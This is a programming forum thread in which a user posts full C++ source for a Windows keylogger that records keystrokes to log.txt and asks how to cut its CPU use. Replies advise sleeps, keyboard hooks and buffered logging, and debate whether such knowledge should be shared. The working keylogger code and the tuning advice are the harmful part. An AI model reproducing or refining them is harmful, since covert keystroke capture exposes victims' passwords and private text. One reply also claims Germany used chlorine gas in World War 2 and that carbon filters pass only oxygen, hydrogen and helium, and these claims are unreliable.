Keylogger uses cpu

So.. I have made a keylogger, but when I start the program. The CPU goes to 100%.
What can I do to fix this problem? I know it's from the "while" loop, but I didn't find a way to replace it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdafx.h>
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
#include <time.h>
using namespace std;

int save(int key_stroke, char * file);
int main()
{
	char i;

	while (true)
	{

		for(i = 8; i < 190; i++)
		{
			if(GetAsyncKeyState(i) == -32767)
			{
				save(i, "log.txt");			
			}
		}
	}
	return 0;
}

/* ****************************************************** */
/* ****************************************************** */

int save(int key_stroke, char * file)
{
	if((key_stroke == 1) || (key_stroke == 2))
	{
		return 0;
	}
	FILE * OUTPUT_FILE;
	OUTPUT_FILE = fopen(file, "a+");
	fprintf(OUTPUT_FILE, "%s", &key_stroke);
	if(key_stroke == 8)
		fprintf(OUTPUT_FILE, "%s","[BACKSPACE]");
	else if(key_stroke == 13)
		fprintf(OUTPUT_FILE, "%s","\n");
	else if(key_stroke == 32)
		fprintf(OUTPUT_FILE, "%s"," ");
	else if(key_stroke == VK_TAB)
		fprintf(OUTPUT_FILE, "%s","[TAB]");
	else if(key_stroke == VK_SHIFT)
		fprintf(OUTPUT_FILE, "%s","[SHIFT]");
	else if(key_stroke == VK_CONTROL)
		fprintf(OUTPUT_FILE, "%s","[CTRL]");
	else if(key_stroke == VK_ESCAPE)
		fprintf(OUTPUT_FILE, "%s","[ESCAPE]");
	else if(key_stroke == VK_END)
		fprintf(OUTPUT_FILE, "%s","[END]");
	else if(key_stroke == VK_HOME)
		fprintf(OUTPUT_FILE, "%s","[HOME]");
	else if(key_stroke == VK_LEFT)
		fprintf(OUTPUT_FILE, "%s","[LEFT]");
	else if(key_stroke == VK_RIGHT)
		fprintf(OUTPUT_FILE, "%s","[RIGHT]");
	else if(key_stroke == VK_DOWN)
		fprintf(OUTPUT_FILE, "%s","[DOWN]");
	else if((key_stroke == 110) || (key_stroke == 190))
		fprintf(OUTPUT_FILE, "%s", ".");
	fclose(OUTPUT_FILE);

	cout << key_stroke << endl;
	return 0;
}
1
2
3
4
5
6
7
8
9
10
11
	while (true)
	{

		for(i = 8; i < 190; i++)
		{
			if(GetAsyncKeyState(i) == -32767)
			{
				save(i, "log.txt");			
			}
		}
	}


You are in a infinite loop. Try to put in a sleep function to "ease" the CPU. Or implement a callback function for keystroke. Then you no need to poll indefinitely. Once a keystroke is triggered, your callback function executes. This to me sounds a more logical implementation.

You will need to consult MSDN for the API calls for those callback function and what Windows messages etc but the idea is there.
Where should I put in the sleep function? Because I tried before and it didn't work. Maybe I did it wrong.
So.. I have made a keylogger


Oh you.


Nice lie, you didn't write any of this code.
What makes you say that, Intrexa? That's quite a bit of an accusation, isn't it?

-Albatross
To be frank, I dislike keyloggers. Having been around that bush I'd recommend against using it. However if you're intent, may as well do it right.

#1 Don't open and close the file EVERY SINGLE TIME a key is down..

#2 GetAsyncKeyState makes for the worst keylogger possible. Research other methods, and there are other methods.

Instead of logging keys, why not make a game? =]
Albatross wrote:
What makes you say that, Intrexa? That's quite a bit of an accusation, isn't it?

-Albatross


http://www.cplusplus.com/forum/beginner/46910/
Last edited on
Intrexa. There is a tutorial on youtube. I am sorry. I didn't want you to understand that I did that keylogger line by line. http://www.youtube.com/watch?v=rn20tjb1RDc
So.. How can I rewrite the code to use less cpu?

I live by a simple rule, knowledge should be open to ANYONE, even those who abuse that knowledge. Those who abuse knowledge just show they don't have enough knowledge to understand the consequences of their actions and thus should be learning more to compensate and eventually learn why they shouldn't do things. Is it not human nature to do something wrong to learn why not to do it?

So I go back to my original thought, someone is here to learn something. It is not for me to judge them on how they use that knowledge but I will be glad to pass my knowledge onto them.

Your while statement is while(true) which is what you should be using, but your program is continuously doing work over and over without a break, so to give it a break put sleep(50) in there somewhere, anywhere in the while statement will do but the end will be best.

Once you do that and get this program working, you should then invest your knowledge into looking into reading the actual keystokes straight from the keyboard and avoid using windows hooks all together. Windows is not dependable as most programmers learn so avoiding it and reading straight from the keyboard is best but you first need to understand how data is read from the keyboard.

I wrote a program a long time ago that helped me to understand keyboard strokes so I will explain what I did to write it so what you can mimic it, since I no longer have it on the hard drive of this laptop I am on. What I did was that I created a windows application that waited for a keystroke and when it detected one, it would display in the window the WPARAM and LPARAM of WM_CHAR and two other Window Messages. This allowed me to learn how to detect which Enter key was pressed so that I could use the number pad as a way to move in a game I was writing. Writing such useless programs actually helps write useful code, making it not so useless after all.

The OEM part of a keystroke comes from the actual position of a key. you will start seeing patterns as you press keys and see it displayed on the screen. If later you don't understand what I am talking about, I can give you a detailed explanation and throw together some code for you to see for yourself if you can't figure it out.

Remember, knowledge is power and it is how you use it that defines you as a human being!
 
Last edited on
It wasn't so much me commenting on him writing/copying a key logger, it was me commenting on him saying he wrote something that he ddin't.
knowledge should be open to ANYONE


I disagree. Try this out for size: Insane person, given knowledge to easily create a nuclear bomb. Kills millions. Without that knowledge catastrophe avoided. With it millions die. You think that knowledge should be open to him?

</extreme case>

In this case it's not a big deal, it's a keylogger, whoopdeedoo. Most programmers at one point or another will probably make one. But I definitely disagree with your general philosophy. One doesn't have to judge, but one doesn't have to be irresponsible with their knowledge. (note your own philosophy comes into play here, by sharing your knowledge your are possibly damaging other humans, thus defining you as a (<) person)

I don't think you're completely wrong, but there are cases where knowledge should just not be shared.



Take it to the lounge please, ladies and gentlemen! :)
@WilliamW1979
Alright then. In that case, would you mind sharing your most embarrassing childhood experience, your credit card number, your home address, and the name of your first girl/boyfriend, if applicable? :)

@Moschops
Should we petition to give some users the right to move (but not delete) threads?

-Albatross
Last edited on
Knowledge in how to build a nuclear bomb and getting the resources to do so are very different problems that one would have to solve. And there are other problems like understanding the chemical composition of each compound / element you are using and how they need to interact properly to make the desired effect and then the clear problem of how to get it.

A perfect example is Chlorine (CL) which doesn't exist on earth naturally in the form Cl2 but Germany used it in World War 2 as a weapon which did work, but they didn't investigate to learn and gave America time to realize what happened and counter it (Using carbon filters, one could prevent most elements and compounds from passing through the carbon fibers leaving only Oxygen, Hydrogen, and Helium as those that would get through for good breathing.

On a philosophical note, one really doesn't have the right to judge if someone would or wouldn't do something bad with the information they gain. It is their choice to make and taking that choice away from them is inhumane. We judge someone as insane because we don't understand the way they see the world but that is by your standards for your judgement. The other person you say is insane could understand just fine the world but is seeing it from another point of view and sees you as insane. the point I am making is that sanity is really just a point of view, one where as an inferior race we are not really qualified to judge since we have very limited understanding of the universe.

I am avoiding religion as an answer to this because of the amount of religions out there and it would be too annoying to cover them all.

As for the final post, knowledge and information are different. My Credit Card number is not knowledge, but rather then information. I put the links at the end of this post to support what I am saying. Knowledge has to do with our understanding of science, art, or techniques.

Now what I learned from my most embarrassing childhood experience would be knowledge because I acquired that knowledge from the experience itself, but that actual incident is really just an event in my personal history.

There is a difference between knowledge and action. One always has the right to acquire knowledge, for who are we to judge another on how they would use that information and if they are right or wrong in doing so? In judging someone else in this effect, would we not be calling ourselves Gods because we are acting as such in a small way. The subject is always going to up for interpretation but the end result will always be what rights do we have as human beings to take away something from another human being?


Knowledge definition - http://www.merriam-webster.com/dictionary/knowledge
Information definition - http://www.merriam-webster.com/dictionary/information
Lounge mate.
Sorry, I just enjoyed the philosophical discussion.
@WilliamW1979: Thanks for being patient with me, but I tried to put the Sleep(50); in the loop, but there is no effect. Only if I put it before/after the "for" loop the program stops for a few seconds.
My first guess about the code is the disk access routines, the repeatable nature should get lost in the drivers some how, even though in theory it shouldn't. It is using a mechanical device which can get bogged down with excessive open's and closes of a file. I would open the file once while your code is active then close it once when I was done. Opening it every time the key buffer is active might be causing problems in the OS handling the issues between keyboard and drive.

Another thing you might be running into is a virus checker with live memory scans, which would be disabling your code but the infinite loop isn't making sense for this one.

Another option you could use, is save the key presses in a string buffer, and on a timer message write the buffer out to the file.
Well, yes because it won't access the for loop each time. I am sorry, I meant to do it inside the while loop but NOT in the foor loop. A generally good idea is either at the very end or the very beginning of a while statement on the inside, this way being inside it is part of the loop while not being nested in another loop like a for or if which is conditional and possibly skipped.
Topic archived. No new replies allowed.